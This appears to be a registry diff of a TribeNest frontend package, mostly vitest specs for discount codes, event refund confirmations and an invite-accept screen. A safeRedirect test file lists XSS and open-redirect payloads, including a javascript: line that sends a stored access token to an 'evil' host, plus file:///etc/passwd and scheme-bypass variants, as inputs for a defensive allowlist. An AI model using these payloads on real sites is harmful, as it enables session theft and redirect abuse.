@tribe-nest/forge 2.2.0 → 3.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (54) hide show
  1. package/package.json +1 -1
  2. package/src/client/createForgeClient.ts +85 -2
  3. package/src/client/tokenStorage.ts +31 -0
  4. package/src/contexts/AppAuthContext.tsx +100 -15
  5. package/src/contexts/PublicAuthContext.tsx +46 -9
  6. package/src/data/queries/useCheckouts.ts +84 -1
  7. package/src/data/queries/useCoachingAvailability.ts +18 -3
  8. package/src/data/queries/useCourseAccess.ts +1 -1
  9. package/src/data/queries/useCourses.ts +42 -1
  10. package/src/data/queries/useEvents.ts +15 -1
  11. package/src/data/queries/usePaymentFlow.ts +12 -0
  12. package/src/data/queries/useWebsite.ts +6 -0
  13. package/src/index.ts +19 -2
  14. package/src/provider/ForgeProvider.tsx +30 -1
  15. package/src/server/_tests/platformEvents.spec.ts +315 -0
  16. package/src/server/index.ts +17 -0
  17. package/src/server/jobs.ts +41 -10
  18. package/src/server/platform.ts +234 -9
  19. package/src/server/platformEvents.generated.ts +422 -0
  20. package/src/types/models.ts +110 -3
  21. package/src/ui/headless/auth/useSignupForm.ts +69 -4
  22. package/src/ui/headless/calendar/useAddToCalendar.ts +194 -0
  23. package/src/ui/headless/checkout/_tests/bundleCoupon.spec.ts +169 -0
  24. package/src/ui/headless/checkout/bundleCoupon.ts +96 -0
  25. package/src/ui/headless/checkout/useCheckout.ts +156 -8
  26. package/src/ui/headless/coaching/useCoachingBooking.ts +53 -3
  27. package/src/ui/headless/coupon/_tests/couponFailureMessage.spec.ts +84 -0
  28. package/src/ui/headless/coupon/useCouponField.ts +164 -0
  29. package/src/ui/headless/course/useCourseCheckout.ts +113 -18
  30. package/src/ui/headless/event/useEventCheckout.ts +53 -2
  31. package/src/ui/headless/index.ts +15 -0
  32. package/src/ui/headless/work/useWorkPortal.ts +24 -21
  33. package/src/ui/index.ts +7 -0
  34. package/src/ui/shell/PoweredBy.tsx +60 -0
  35. package/src/ui/shell/TribeNestApp.tsx +15 -1
  36. package/src/ui/shell/shellGating.spec.ts +21 -1
  37. package/src/ui/shell/shellGating.ts +14 -0
  38. package/src/ui/styled/AddToCalendar.tsx +104 -0
  39. package/src/ui/styled/Checkout.tsx +45 -14
  40. package/src/ui/styled/CoachingBooking.tsx +28 -8
  41. package/src/ui/styled/CoachingConfirmation.tsx +12 -0
  42. package/src/ui/styled/CourseCheckout.tsx +49 -18
  43. package/src/ui/styled/DiscountCode.tsx +206 -0
  44. package/src/ui/styled/EventConfirmation.tsx +68 -22
  45. package/src/ui/styled/EventDetail.tsx +18 -5
  46. package/src/ui/styled/EventTickets.tsx +49 -5
  47. package/src/ui/styled/SignupForm.tsx +86 -35
  48. package/src/ui/styled/_tests/DiscountCode.spec.tsx +272 -0
  49. package/src/ui/styled/_tests/EventConfirmation.spec.tsx +154 -0
  50. package/src/ui/styled/work/WorkInviteAccept.tsx +54 -5
  51. package/src/utils/_tests/safeRedirect.spec.ts +117 -0
  52. package/src/utils/_tests/ticketOrderOutcome.spec.ts +126 -0
  53. package/src/utils/safeRedirect.ts +41 -0
  54. package/src/utils/ticketOrderOutcome.ts +125 -0
@@ -0,0 +1,272 @@
1
+ import { describe, it, expect } from "vitest";
2
+ import { renderToStaticMarkup } from "react-dom/server";
3
+ import { ForgeThemeProvider } from "../../theme/ForgeThemeProvider";
4
+ import { DiscountCodeField, DiscountSummaryLines } from "../DiscountCode";
5
+ import type { CouponField } from "../../headless/coupon/useCouponField";
6
+ import type { PillarDiscountQuote } from "../../../types/models";
7
+
8
+ /**
9
+ * Rendered through `react-dom/server`, which needs no DOM — so these run in the
10
+ * package's existing node vitest environment with no new dependency and no
11
+ * jsdom project. Effects never fire under `renderToStaticMarkup`, so the
12
+ * `CouponField` fixture is the only data source and nothing reaches the network.
13
+ *
14
+ * `DiscountCodeField` and `DiscountSummaryLines` are the REAL components every
15
+ * ticket, booking, course and (client-app) checkout renders, so these assertions
16
+ * are about shipped behaviour, not a harness.
17
+ */
18
+
19
+ const fmt = (n: number) => `$${n.toFixed(2)}`;
20
+
21
+ /** A `CouponField` in a given state. The setters are inert — nothing clicks here. */
22
+ function field(overrides: Partial<CouponField> = {}): CouponField {
23
+ const quote = overrides.quote ?? null;
24
+ return {
25
+ code: "",
26
+ setCode: () => {},
27
+ submittedCode: undefined,
28
+ showInput: false,
29
+ setShowInput: () => {},
30
+ error: null,
31
+ setError: () => {},
32
+ isApplying: false,
33
+ quote,
34
+ appliedCoupons: quote?.appliedCoupons ?? [],
35
+ discountAmount: quote?.discountAmount ?? 0,
36
+ hasDiscount: (quote?.discountAmount ?? 0) > 0,
37
+ apply: async () => {},
38
+ remove: async () => {},
39
+ record: () => {},
40
+ fail: () => {},
41
+ reset: () => {},
42
+ canQuote: true,
43
+ ...overrides,
44
+ };
45
+ }
46
+
47
+ /** What the server returns once SUMMER10 has been applied to a $50 course. */
48
+ const appliedQuote: PillarDiscountQuote = {
49
+ subTotal: 50,
50
+ totalAmount: 42.5,
51
+ discountAmount: 7.5,
52
+ couponId: "coupon-1",
53
+ appliedCoupons: [{ code: "SUMMER10", discountKind: "simple", discountAmount: 7.5 }],
54
+ };
55
+
56
+ /** The undiscounted answer — what `remove()` puts back. */
57
+ const clearedQuote: PillarDiscountQuote = {
58
+ subTotal: 50,
59
+ totalAmount: 50,
60
+ discountAmount: 0,
61
+ couponId: null,
62
+ appliedCoupons: [],
63
+ };
64
+
65
+ /** The summary as every checkout composes it: the lines, then the total. */
66
+ function summary(coupon: CouponField, total: number) {
67
+ return renderToStaticMarkup(
68
+ <ForgeThemeProvider theme={{ colors: { text: "#111111", background: "#ffffff", primary: "#6d28d9" }, cornerRadius: 8 }}>
69
+ <div>
70
+ <DiscountSummaryLines
71
+ subTotal={coupon.quote?.subTotal ?? total}
72
+ discountAmount={coupon.discountAmount}
73
+ appliedCoupons={coupon.appliedCoupons}
74
+ fmt={fmt}
75
+ />
76
+ <div>
77
+ <span>Total</span>
78
+ <span>{fmt(total)}</span>
79
+ </div>
80
+ </div>
81
+ </ForgeThemeProvider>,
82
+ );
83
+ }
84
+
85
+ function input(coupon: CouponField, props: Partial<{ mode: "quote" | "deferred"; disabled: boolean }> = {}) {
86
+ return renderToStaticMarkup(
87
+ <ForgeThemeProvider theme={{ colors: { text: "#111111", background: "#ffffff", primary: "#6d28d9" }, cornerRadius: 8 }}>
88
+ <DiscountCodeField coupon={coupon} fmt={fmt} {...props} />
89
+ </ForgeThemeProvider>,
90
+ );
91
+ }
92
+
93
+ /** The markup carries HTML entities for the minus sign — normalise. */
94
+ const plain = (html: string) => html.replace(/&#x2212;|&minus;/g, "−");
95
+
96
+ describe("discount code — applying a valid code", () => {
97
+ const applied = field({ quote: appliedQuote, code: "SUMMER10", showInput: true });
98
+
99
+ it("shows a Discount LINE and the reduced total, not just a smaller number", () => {
100
+ const html = plain(summary(applied, appliedQuote.totalAmount));
101
+
102
+ // The line the whole feature exists for.
103
+ expect(html).toContain('data-testid="discount-line"');
104
+ expect(html).toContain("−$7.50");
105
+ // …with the subtotal beside it, so the buyer can see what it came off.
106
+ expect(html).toContain("Subtotal");
107
+ expect(html).toContain("$50.00");
108
+ // …and the reduced total.
109
+ expect(html).toContain("$42.50");
110
+ // The arithmetic on screen is the SERVER's and is self-consistent.
111
+ expect(appliedQuote.subTotal - appliedQuote.discountAmount).toBe(appliedQuote.totalAmount);
112
+ });
113
+
114
+ it("names the code that produced the discount", () => {
115
+ expect(plain(summary(applied, appliedQuote.totalAmount))).toContain("Discount (SUMMER10)");
116
+ });
117
+
118
+ it("shows the applied code with what it saved, and a way to remove it", () => {
119
+ const html = input(applied);
120
+ expect(html).toContain('data-testid="discount-code-applied"');
121
+ expect(html).toContain("SUMMER10");
122
+ expect(html).toContain("$7.50 off");
123
+ expect(html).toContain('data-testid="discount-code-remove"');
124
+ // The prompt is gone once something is applied.
125
+ expect(html).not.toContain('data-testid="discount-code-open"');
126
+ });
127
+ });
128
+
129
+ describe("discount code — an AUTOMATIC (no-code) discount", () => {
130
+ // The buyer typed nothing. Without this, the only evidence is a total that
131
+ // silently shrank.
132
+ const auto = field({
133
+ quote: {
134
+ subTotal: 50,
135
+ totalAmount: 45,
136
+ discountAmount: 5,
137
+ couponId: "coupon-auto",
138
+ appliedCoupons: [{ code: "AUTUMN", discountKind: "simple", discountAmount: 5 }],
139
+ },
140
+ });
141
+
142
+ it("is shown as applied even though the input was never opened", () => {
143
+ const html = input(auto);
144
+ expect(html).toContain('data-testid="discount-code-applied"');
145
+ expect(html).toContain("AUTUMN");
146
+ expect(html).toContain("$5.00 off");
147
+ expect(html).not.toContain('data-testid="discount-code-input"');
148
+ });
149
+
150
+ it("gets its own discount line", () => {
151
+ const html = plain(summary(auto, 45));
152
+ expect(html).toContain('data-testid="discount-line"');
153
+ expect(html).toContain("Discount (AUTUMN)");
154
+ expect(html).toContain("−$5.00");
155
+ });
156
+ });
157
+
158
+ describe("discount code — a rejected code", () => {
159
+ it("shows the API's own reason, not a generic 'invalid code'", () => {
160
+ // Exactly what `errors.coupon.min_order_value_not_met` renders to in `en`.
161
+ const html = input(
162
+ field({ code: "SUMMER10", showInput: true, error: "Your order does not reach this coupon's minimum spend" }),
163
+ );
164
+
165
+ expect(html).toContain('data-testid="discount-code-error"');
166
+ expect(html).toContain("Your order does not reach this coupon");
167
+ expect(html).toContain("minimum spend");
168
+ // The generic copy that would have thrown that reason away.
169
+ expect(html.toLowerCase()).not.toContain("invalid coupon code");
170
+ expect(html.toLowerCase()).not.toContain("invalid code");
171
+ });
172
+
173
+ it("carries each distinct reason through verbatim", () => {
174
+ for (const reason of [
175
+ "This coupon has expired",
176
+ "You have already used this coupon the maximum number of times",
177
+ "This coupon is only available to members of a specific tier",
178
+ "This coupon does not apply to anything in this order",
179
+ ]) {
180
+ expect(input(field({ code: "X", showInput: true, error: reason }))).toContain(reason);
181
+ }
182
+ });
183
+
184
+ it("does not record a discount for a code that was refused", () => {
185
+ // The total must keep matching the server: a refused code leaves the
186
+ // previous (here: absent) quote standing.
187
+ const html = plain(summary(field({ code: "X", showInput: true, error: "This coupon has expired" }), 50));
188
+ expect(html).not.toContain('data-testid="discount-line"');
189
+ expect(html).toContain("$50.00");
190
+ });
191
+ });
192
+
193
+ describe("discount code — removing a code", () => {
194
+ it("restores the original total and drops the discount line", () => {
195
+ // The state after `remove()` re-quoted with no code.
196
+ const html = plain(summary(field({ quote: clearedQuote }), clearedQuote.totalAmount));
197
+
198
+ expect(html).not.toContain('data-testid="discount-line"');
199
+ expect(html).not.toContain('data-testid="discount-summary"');
200
+ expect(html).toContain("$50.00");
201
+ expect(html).not.toContain("$42.50");
202
+ expect(clearedQuote.totalAmount).toBe(appliedQuote.subTotal);
203
+ });
204
+
205
+ it("puts the 'have a code?' prompt back", () => {
206
+ const html = input(field({ quote: clearedQuote }));
207
+ expect(html).toContain('data-testid="discount-code-open"');
208
+ expect(html).toContain("Have a discount code?");
209
+ expect(html).not.toContain('data-testid="discount-code-applied"');
210
+ });
211
+ });
212
+
213
+ describe("discount code — a checkout with no code (regression)", () => {
214
+ it("adds NOTHING to the summary", () => {
215
+ // The only thing inserted into every existing order summary is
216
+ // <DiscountSummaryLines>, and with no discount it must render nothing at
217
+ // all — so an undiscounted checkout looks exactly as it did before.
218
+ const html = renderToStaticMarkup(
219
+ <ForgeThemeProvider theme={{ colors: { text: "#111111", background: "#ffffff", primary: "#6d28d9" }, cornerRadius: 8 }}>
220
+ <DiscountSummaryLines subTotal={50} discountAmount={0} fmt={fmt} />
221
+ </ForgeThemeProvider>,
222
+ );
223
+ // Only the provider's own theme <style> — the component itself emits nothing.
224
+ expect(html.replace(/<style>[\s\S]*?<\/style>/, "")).toBe("");
225
+ });
226
+
227
+ it("offers only a collapsed prompt — no input, no error, no applied block", () => {
228
+ const html = input(field());
229
+ expect(html).toContain('data-testid="discount-code-open"');
230
+ expect(html).not.toContain('data-testid="discount-code-input"');
231
+ expect(html).not.toContain('data-testid="discount-code-error"');
232
+ expect(html).not.toContain('data-testid="discount-code-applied"');
233
+ });
234
+
235
+ it("renders the untouched total", () => {
236
+ expect(plain(summary(field(), 50))).toContain("$50.00");
237
+ });
238
+ });
239
+
240
+ describe("discount code — the two apply modes", () => {
241
+ it("offers an Apply button where the pillar can really re-quote", () => {
242
+ const html = input(field({ showInput: true, code: "X" }), { mode: "quote" });
243
+ expect(html).toContain('data-testid="discount-code-apply"');
244
+ expect(html).not.toContain("applied at the next step");
245
+ });
246
+
247
+ it("offers no Apply button where the code can only be redeemed by the next call", () => {
248
+ // Tickets and bundles: `POST …/orders` and `POST /public/checkouts` CREATE
249
+ // the record, so there is nothing to press that would price a code without
250
+ // leaving a real abandoned order behind.
251
+ const html = input(field({ showInput: true, code: "X" }), { mode: "deferred" });
252
+ expect(html).not.toContain('data-testid="discount-code-apply"');
253
+ expect(html).toContain("Your code is applied at the next step.");
254
+ });
255
+
256
+ it("freezes once the code can no longer be changed", () => {
257
+ // A created bundle: the code was consumed by the call that made it.
258
+ const html = input(field({ quote: appliedQuote }), { disabled: true });
259
+ expect(html).toContain('data-testid="discount-code-applied"');
260
+ expect(html).toContain("SUMMER10");
261
+ expect(html).not.toContain('data-testid="discount-code-remove"');
262
+ expect(html).not.toContain('data-testid="discount-code-open"');
263
+ });
264
+
265
+ it("hides Remove for a pillar that cannot un-apply in place", () => {
266
+ // Event tickets expose their own "Remove discount" on the payment step,
267
+ // which restarts the order; the field itself must not pretend otherwise.
268
+ const html = input(field({ quote: appliedQuote, canQuote: false }));
269
+ expect(html).toContain('data-testid="discount-code-applied"');
270
+ expect(html).not.toContain('data-testid="discount-code-remove"');
271
+ });
272
+ });
@@ -0,0 +1,154 @@
1
+ import { describe, it, expect } from "vitest";
2
+ import { renderToStaticMarkup } from "react-dom/server";
3
+ import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
4
+ import { ForgeClientProvider } from "../../../provider/ForgeProvider";
5
+ import { PublicAuthContext } from "../../../contexts/PublicAuthContext";
6
+ import { ForgeThemeProvider } from "../../theme/ForgeThemeProvider";
7
+ import { EventConfirmation } from "../EventConfirmation";
8
+ import { OrderStatus, type ITicketOrder } from "../../../types/models";
9
+
10
+ /**
11
+ * Rendered through `react-dom/server`, which needs no DOM — so these run in the
12
+ * package's existing node vitest environment with no new dependency and no
13
+ * jsdom project. Effects never fire under `renderToStaticMarkup`, so the seeded
14
+ * query cache is the only data source and nothing reaches the network.
15
+ */
16
+
17
+ const PROFILE_ID = "profile-1";
18
+ const ORDER_ID = "order-1";
19
+ const EVENT_ID = "event-1";
20
+
21
+ const baseOrder: ITicketOrder = {
22
+ id: "0f9c8b7a-1111-2222-3333-444455556666",
23
+ items: [{ id: "item-1", eventTicketId: "ticket-1", quantity: 2, price: 12.5, title: "General Admission" }],
24
+ firstName: "Ada",
25
+ lastName: "Lovelace",
26
+ email: "ada@example.com",
27
+ totalAmount: 25,
28
+ currency: "USD",
29
+ status: OrderStatus.Paid,
30
+ customerName: "Ada Lovelace",
31
+ customerEmail: "ada@example.com",
32
+ createdAt: "2026-07-01T10:00:00.000Z",
33
+ updatedAt: "2026-07-01T10:00:00.000Z",
34
+ eventTitle: "Midnight Set",
35
+ questionnaire: [],
36
+ };
37
+
38
+ function render(order: ITicketOrder) {
39
+ const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
40
+ queryClient.setQueryData(["eventTicketOrderStatus", PROFILE_ID, ORDER_ID], order);
41
+ queryClient.setQueryData(["event", EVENT_ID, PROFILE_ID], {
42
+ id: EVENT_ID,
43
+ title: "Midnight Set",
44
+ description: "A set",
45
+ type: "virtual",
46
+ status: "published",
47
+ dateTime: "2026-09-01T20:00:00.000Z",
48
+ endDateTime: "2026-09-01T23:00:00.000Z",
49
+ timezone: "UTC",
50
+ });
51
+
52
+ return renderToStaticMarkup(
53
+ <QueryClientProvider client={queryClient}>
54
+ <ForgeClientProvider apiUrl="http://api.test" profileId={PROFILE_ID}>
55
+ <PublicAuthContext.Provider value={{ currencies: null, userSelectedCurrency: "USD" } as never}>
56
+ <ForgeThemeProvider
57
+ theme={{ colors: { text: "#111111", background: "#ffffff", primary: "#6d28d9" }, cornerRadius: 8 }}
58
+ >
59
+ <EventConfirmation slug={EVENT_ID} orderId={ORDER_ID} formatAmount={(n) => `$${n.toFixed(2)}`} />
60
+ </ForgeThemeProvider>
61
+ </PublicAuthContext.Provider>
62
+ </ForgeClientProvider>
63
+ </QueryClientProvider>,
64
+ );
65
+ }
66
+
67
+ /** The markup carries HTML entities for the curly apostrophes — normalise. */
68
+ const plain = (html: string) => html.replace(/&#x27;|&#39;/g, "'").replace(/’/g, "'");
69
+
70
+ describe("EventConfirmation — refunded vs abandoned", () => {
71
+ it("greets a refund-voided order with refunded copy, not 'order not completed'", () => {
72
+ const html = plain(
73
+ render({
74
+ ...baseOrder,
75
+ status: OrderStatus.Cancelled,
76
+ refundedAmountCents: "2500",
77
+ refundState: "full",
78
+ }),
79
+ );
80
+
81
+ expect(html).toContain("This order was refunded");
82
+ expect(html).toContain("bank or card issuer");
83
+ expect(html).toContain("will not admit entry");
84
+ expect(html).toContain("Refunded");
85
+
86
+ // The three things that were false for this buyer.
87
+ expect(html).not.toContain("Order not completed");
88
+ expect(html).not.toContain("contact support");
89
+ expect(html).not.toContain("If you were charged");
90
+ // ...and it must not congratulate them either.
91
+ expect(html).not.toContain("You're going!");
92
+
93
+ // The money line tells the truth about which direction it went.
94
+ expect(html).toContain("Total refunded");
95
+ expect(html).not.toContain("Total paid");
96
+
97
+ // Nothing that reads as a still-valid ticket: no scannable pass is rendered
98
+ // on this surface at all (the QR only ever lived in the emailed PDF), and
99
+ // the "add to calendar" prompt is paid-only.
100
+ expect(html.toLowerCase()).not.toContain("qr");
101
+ expect(html).not.toContain('data-testid="add-to-calendar"');
102
+ expect(html).not.toContain("E-Ticket");
103
+ });
104
+
105
+ it("still shows the existing 'not completed' copy for an abandoned checkout", () => {
106
+ // Regression guard. This path is unchanged and must stay: for a buyer who
107
+ // never paid, "order not completed / if you were charged, contact support"
108
+ // is the correct thing to say.
109
+ const html = plain(
110
+ render({
111
+ ...baseOrder,
112
+ status: OrderStatus.Cancelled,
113
+ refundedAmountCents: 0,
114
+ refundState: "none",
115
+ }),
116
+ );
117
+
118
+ expect(html).toContain("Order not completed");
119
+ expect(html).toContain("If you were charged, contact support.");
120
+ expect(html).toContain("Total"); // bare "Total", not "Total paid"
121
+ expect(html).not.toContain("Total paid");
122
+ expect(html).not.toContain("This order was refunded");
123
+ expect(html).not.toContain("Total refunded");
124
+ });
125
+
126
+ it("is unchanged for a paid order", () => {
127
+ const html = plain(render(baseOrder));
128
+
129
+ expect(html).toContain("You're going!");
130
+ expect(html).toContain("E-Ticket");
131
+ expect(html).toContain("We've sent your tickets to ada@example.com.");
132
+ expect(html).toContain("Total paid");
133
+ // Pins the "add to calendar" affordance as really present on the paid path,
134
+ // so its absence in the refunded case above is a meaningful assertion.
135
+ expect(html).toContain('data-testid="add-to-calendar"');
136
+ expect(html).not.toContain("This order was refunded");
137
+ expect(html).not.toContain("Order not completed");
138
+ });
139
+
140
+ it("keeps a partially refunded but still-valid order on the paid copy", () => {
141
+ // A partial refund voids nothing, so the pass still admits entry.
142
+ const html = plain(render({ ...baseOrder, refundedAmountCents: "500", refundState: "partial" }));
143
+
144
+ expect(html).toContain("You're going!");
145
+ expect(html).not.toContain("This order was refunded");
146
+ });
147
+
148
+ it("does not read a refund into a plain payment failure", () => {
149
+ const html = plain(render({ ...baseOrder, status: OrderStatus.PaymentFailed }));
150
+
151
+ expect(html).toContain("Order not completed");
152
+ expect(html).not.toContain("This order was refunded");
153
+ });
154
+ });
@@ -3,6 +3,7 @@ import { CheckCircle2, FolderOpen } from "lucide-react";
3
3
  import { useForgeTheme } from "../../theme/ForgeThemeProvider";
4
4
  import { usePublicAuth } from "../../../contexts/PublicAuthContext";
5
5
  import { ACCESS_TOKEN_KEY } from "../../../contexts/PublicAuthContext";
6
+ import { PUBLIC_REFRESH_TOKEN_KEY } from "../../../client/tokenStorage";
6
7
  import { Loading } from "../Loading";
7
8
  import { useAcceptWorkInvite, useWorkInvite } from "../../headless/work/useWorkPortal";
8
9
 
@@ -83,7 +84,12 @@ export function WorkInviteAccept({
83
84
  gap: 8,
84
85
  };
85
86
  const link: React.CSSProperties = { color: theme.colors.primary, textDecoration: "underline" };
86
- const eyebrow: React.CSSProperties = { fontSize: 13, color: theme.colors.primary, fontWeight: 700, letterSpacing: 0.3 };
87
+ const eyebrow: React.CSSProperties = {
88
+ fontSize: 13,
89
+ color: theme.colors.primary,
90
+ fontWeight: 700,
91
+ letterSpacing: 0.3,
92
+ };
87
93
  const heading: React.CSSProperties = { fontSize: 22, fontWeight: 800, margin: "6px 0 14px" };
88
94
  const sub: React.CSSProperties = { fontSize: 14, color: `${theme.colors.text}b3`, marginBottom: 22 };
89
95
 
@@ -152,6 +158,42 @@ export function WorkInviteAccept({
152
158
  );
153
159
  }
154
160
 
161
+ /**
162
+ * The invited address already has a TribeNest account (C10). An invite grants
163
+ * portal ACCESS; it is not a credential reset for an account whose owner
164
+ * never asked for one — so there is no password form here, only a sign-in
165
+ * link. Accepting still runs, to consume the invite and link the contact.
166
+ */
167
+ if (invite.requiresExistingLogin) {
168
+ return (
169
+ <div style={card} data-testid="work-invite-accept">
170
+ {header}
171
+ <p style={sub}>
172
+ <strong>{invite.email}</strong> already has an account. Sign in and the project will be waiting for you.
173
+ </p>
174
+ <button
175
+ type="button"
176
+ style={button}
177
+ disabled={submitting}
178
+ data-testid="work-invite-signin"
179
+ onClick={async () => {
180
+ setSubmitting(true);
181
+ try {
182
+ // Consumes the invite and links the contact; returns no session.
183
+ await acceptInvite.mutateAsync({ token, projectId, password: "" });
184
+ } catch {
185
+ // Non-fatal: an already-consumed invite still leaves them able to
186
+ // sign in, which is the whole instruction on this screen.
187
+ }
188
+ window.location.assign(loginHref);
189
+ }}
190
+ >
191
+ Go to sign in
192
+ </button>
193
+ </div>
194
+ );
195
+ }
196
+
155
197
  const onAccept = async (e: React.FormEvent) => {
156
198
  e.preventDefault();
157
199
  setError("");
@@ -166,9 +208,16 @@ export function WorkInviteAccept({
166
208
  setSubmitting(true);
167
209
  try {
168
210
  const result = await acceptInvite.mutateAsync({ token, projectId, password });
169
- // Persist the fresh portal session and hard-navigate so the auth context
170
- // re-initializes as the invited client, then lands on the project.
211
+ if (result.requiresLogin || !result.token) {
212
+ // The address turned out to already have an account — no session is
213
+ // issued for it (C10). Send them to sign in.
214
+ window.location.assign(loginHref);
215
+ return;
216
+ }
217
+ // Persist the fresh portal session (access + rotating refresh token) and
218
+ // hard-navigate so the auth context re-initializes as the invited client.
171
219
  localStorage.setItem(ACCESS_TOKEN_KEY, result.token);
220
+ if (result.refreshToken) localStorage.setItem(PUBLIC_REFRESH_TOKEN_KEY, result.refreshToken);
172
221
  window.location.assign(projectHref);
173
222
  } catch (err) {
174
223
  setError(msg(err) || "Something went wrong. Please try again.");
@@ -182,8 +231,8 @@ export function WorkInviteAccept({
182
231
  <p style={sub}>
183
232
  {isAuthenticated && currentEmail && currentEmail !== invitedEmail ? (
184
233
  <>
185
- You're signed in as <strong>{user?.email}</strong>, but this invite is for{" "}
186
- <strong>{invite.email}</strong>. Set a password to continue as {invite.email}.
234
+ You're signed in as <strong>{user?.email}</strong>, but this invite is for <strong>{invite.email}</strong>.
235
+ Set a password to continue as {invite.email}.
187
236
  </>
188
237
  ) : (
189
238
  <>
@@ -0,0 +1,117 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import { safeRedirectPath } from "../safeRedirect";
3
+
4
+ /**
5
+ * C13 — reflected `javascript:` XSS and open redirect on every tenant member
6
+ * portal.
7
+ *
8
+ * `?redirect=` went straight to `window.location.href` in the platform-owned
9
+ * login/signup templates, so the payload fired after a LEGITIMATE login on the
10
+ * artist's real domain — and the stolen fan token was not profile-scoped, so it
11
+ * worked against every other artist too.
12
+ *
13
+ * The guard is an allowlist (same-origin root-relative path only), so these
14
+ * specs are mostly about proving the allowlist can't be talked around.
15
+ */
16
+ describe("safeRedirectPath (C13)", () => {
17
+ const FALLBACK = "/i/account";
18
+
19
+ describe("rejects script-executing schemes", () => {
20
+ const PAYLOADS = [
21
+ // The audit's exact payload.
22
+ "javascript:fetch('//evil/'+localStorage.getItem('public-access-token'))",
23
+ "JavaScript:alert(1)",
24
+ "JAVASCRIPT:alert(1)",
25
+ " javascript:alert(1)",
26
+ "data:text/html,<script>alert(1)</script>",
27
+ "vbscript:msgbox(1)",
28
+ "file:///etc/passwd",
29
+ // Control characters browsers strip while parsing the scheme.
30
+ "java\tscript:alert(1)",
31
+ "java\nscript:alert(1)",
32
+ "java\rscript:alert(1)",
33
+ "\u0000javascript:alert(1)",
34
+ "\u0001javascript:alert(1)",
35
+ ];
36
+
37
+ it.each(PAYLOADS)("refuses %j", (payload) => {
38
+ expect(safeRedirectPath(payload)).toBe(FALLBACK);
39
+ });
40
+ });
41
+
42
+ describe("rejects off-site targets", () => {
43
+ const PAYLOADS = [
44
+ "https://evil.example",
45
+ "http://evil.example/path",
46
+ "//evil.example",
47
+ "//evil.example/path",
48
+ "/\\evil.example",
49
+ "/\\\\evil.example",
50
+ "\\\\evil.example",
51
+ "evil.example",
52
+ "https://artist.tribenest.co.evil.example",
53
+ ];
54
+
55
+ it.each(PAYLOADS)("refuses %j", (payload) => {
56
+ expect(safeRedirectPath(payload)).toBe(FALLBACK);
57
+ });
58
+ });
59
+
60
+ describe("rejects anything that is not a string", () => {
61
+ it.each([undefined, null, 42, {}, [], true])("refuses %j", (value) => {
62
+ expect(safeRedirectPath(value)).toBe(FALLBACK);
63
+ });
64
+
65
+ it("refuses an empty or whitespace-only value", () => {
66
+ expect(safeRedirectPath("")).toBe(FALLBACK);
67
+ expect(safeRedirectPath(" ")).toBe(FALLBACK);
68
+ expect(safeRedirectPath("\t\n")).toBe(FALLBACK);
69
+ });
70
+ });
71
+
72
+ describe("keeps legitimate in-app destinations", () => {
73
+ it.each([
74
+ "/i/account",
75
+ "/i/members",
76
+ "/i/courses/123",
77
+ "/i/checkout?step=2",
78
+ "/i/orders?status=paid&page=3",
79
+ "/i/members#section",
80
+ "/",
81
+ // A path that merely CONTAINS a scheme-looking segment is still a path.
82
+ "/i/redirect?to=https%3A%2F%2Fexample.com",
83
+ ])("keeps %j", (path) => {
84
+ expect(safeRedirectPath(path)).toBe(path);
85
+ });
86
+
87
+ it("honours a caller-supplied fallback", () => {
88
+ expect(safeRedirectPath("javascript:alert(1)", "/i/home")).toBe("/i/home");
89
+ expect(safeRedirectPath("/i/real")).toBe("/i/real");
90
+ });
91
+ });
92
+
93
+ it("never returns a value that could execute or leave the origin", () => {
94
+ // Property-style backstop: whatever comes out is either the fallback or a
95
+ // root-relative path, for every input above and a few fuzzed ones.
96
+ const inputs = [
97
+ "javascript:alert(1)",
98
+ "//evil",
99
+ "/ok",
100
+ "/",
101
+ " /ok ",
102
+ " //evil",
103
+ "/\\evil",
104
+ "data:,x",
105
+ "?just=query",
106
+ "#hash",
107
+ ];
108
+ for (const input of inputs) {
109
+ const out = safeRedirectPath(input);
110
+ expect(out.startsWith("/")).toBe(true);
111
+ expect(out.startsWith("//")).toBe(false);
112
+ expect(out.startsWith("/\\")).toBe(false);
113
+ expect(out.toLowerCase()).not.toContain("javascript:");
114
+ expect(out.toLowerCase()).not.toContain("data:");
115
+ }
116
+ });
117
+ });